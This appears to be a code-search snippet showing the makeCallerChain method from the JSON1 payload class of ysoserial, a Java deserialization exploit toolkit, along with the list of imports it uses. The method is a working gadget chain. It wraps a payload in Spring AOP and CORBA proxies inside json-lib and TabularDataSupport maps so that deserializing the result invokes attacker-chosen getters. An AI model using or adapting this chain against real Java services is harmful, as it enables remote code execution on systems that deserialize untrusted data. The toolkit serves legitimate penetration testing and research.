Search in sources :

Example 1 with CompositeInvocationHandlerImpl

use of com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl in project ysoserial by frohoff.

the class JSON1 method makeCallerChain.

/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain(Object payload, Class... ifaces) throws OpenDataException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] { "a" }, new String[] { "a" }, new OpenType[] { javax.management.openmbean.SimpleType.INTEGER });
    TabularType tt = new TabularType("a", "b", rt, new String[] { "a" });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);
    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
    invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
    invocationHandler.setDefaultHandler(delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}
Also used : CompositeInvocationHandlerImpl(com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl) JSONObject(net.sf.json.JSONObject) HashMap(java.util.HashMap) TabularDataSupport(javax.management.openmbean.TabularDataSupport) TabularType(javax.management.openmbean.TabularType) CompositeData(javax.management.openmbean.CompositeData) InvocationHandler(java.lang.reflect.InvocationHandler) HashMap(java.util.HashMap) Map(java.util.Map) CompositeType(javax.management.openmbean.CompositeType) AdvisedSupport(org.springframework.aop.framework.AdvisedSupport)

Aggregations

CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl)1 InvocationHandler (java.lang.reflect.InvocationHandler)1 HashMap (java.util.HashMap)1 Map (java.util.Map)1 CompositeData (javax.management.openmbean.CompositeData)1 CompositeType (javax.management.openmbean.CompositeType)1 TabularDataSupport (javax.management.openmbean.TabularDataSupport)1 TabularType (javax.management.openmbean.TabularType)1 JSONObject (net.sf.json.JSONObject)1 AdvisedSupport (org.springframework.aop.framework.AdvisedSupport)1